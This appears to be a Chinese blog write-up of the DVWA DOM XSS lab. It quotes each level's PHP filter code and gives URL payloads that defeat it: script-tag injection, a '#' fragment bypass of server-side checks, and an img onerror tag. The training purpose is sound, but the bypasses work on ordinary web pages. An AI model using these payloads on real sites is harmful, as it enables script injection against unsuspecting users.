dvwa DOM XSS

DOM Based XSS:是基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM节点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行,从效果上来说也是反射型XSS。

漏洞测试

low 级别

​​

可知Select按钮选择参数,数据提交是以GET请求的方式

<?php

# No protections, anything goes

?>

low 级别不存在Protect,可以非常简单的造成XSS攻击

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

当用户触发该URL时就会受到XSS攻击,有弹框出现

medium 级别

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default']; # Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>

经过代码审计之后可知:array_key_exists检查数组里是否有指定的键名或索引,并且default值不为null,传递的数据中如果存在<script>标签,则会进入if条件,default默认赋值为“English”

stripos(string,find,start)  函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

参数    描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。 相关函数:
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

由于stripos函数的作用所以不能使用<script>标签,但是真的就不能使用该标签吗,答案是可以的,此处要利用到URL中的一个特殊字符‘#’,该字符后的数据不会发送到服务器端,从而绕过服务端过滤

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

触发该URL,成功绕过服务端的过滤

假如真的不能使用<script>标签,也有另一种方法进行绕过服务端的检测

用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_d/?default=</option></select><img src=# onerror=alert("xss")>

触发该URL,成功绕过服务端的过滤

high 级别

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
} ?>

代码审计之后可知:在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

成功绕过后端switch的限制

impossible 级别

Security level set to impossible

<?php

# Don't need to do anything, protction handled on the client side

?> 

最新文章

  1. lcov和gcov的使用错误
  2. 修复Windows XP右键没有新建菜单问题
  3. C# 类和结构
  4. iOS - NSLog、UncaughtException日志保存到文件
  5. 如何清除xcode里面的mobileprovision文件
  6. 1_Linux_目录简介
  7. C语言程序代写(qq:928900200)
  8. C#中的Infinity和NaN
  9. Web API 路由 [一] Convention-Based Routing
  10. linux中的两个命令setfacl和chmod有什么区别
  11. JAVA_SE基础——29.构造函数
  12. bash: jar: 未找到命令..(command not found)
  13. Linux下安装vmtools的语句
  14. Analyzing .net core application with SonarQube Scanner for MSBuild
  15. 使用laravel框架开发接口时ajax post请求报错419
  16. java核心API学习
  17. [笔记]_ELVE_正则表达式
  18. python中selenium操作下拉滚动条方法汇总
  19. React.js 入门与实战课程思维导图
  20. vlc sdl 播放视频可随窗口改变大小

热门文章

  1. [Ubuntu]修改文件夹及所有子文件夹权限
  2. xampp访问phpmyadmin访问不了
  3. ES6学习
  4. laravel-神奇的服务容器(转)
  5. javascript---split 和 join 的区别
  6. Document APIs
  7. 配置NFS固定端口
  8. swust oj 1013
  9. HBuilder git使用-分工合作
  10. 别以为真懂Openstack: 虚拟机创建的50个步骤和100个知识点(4)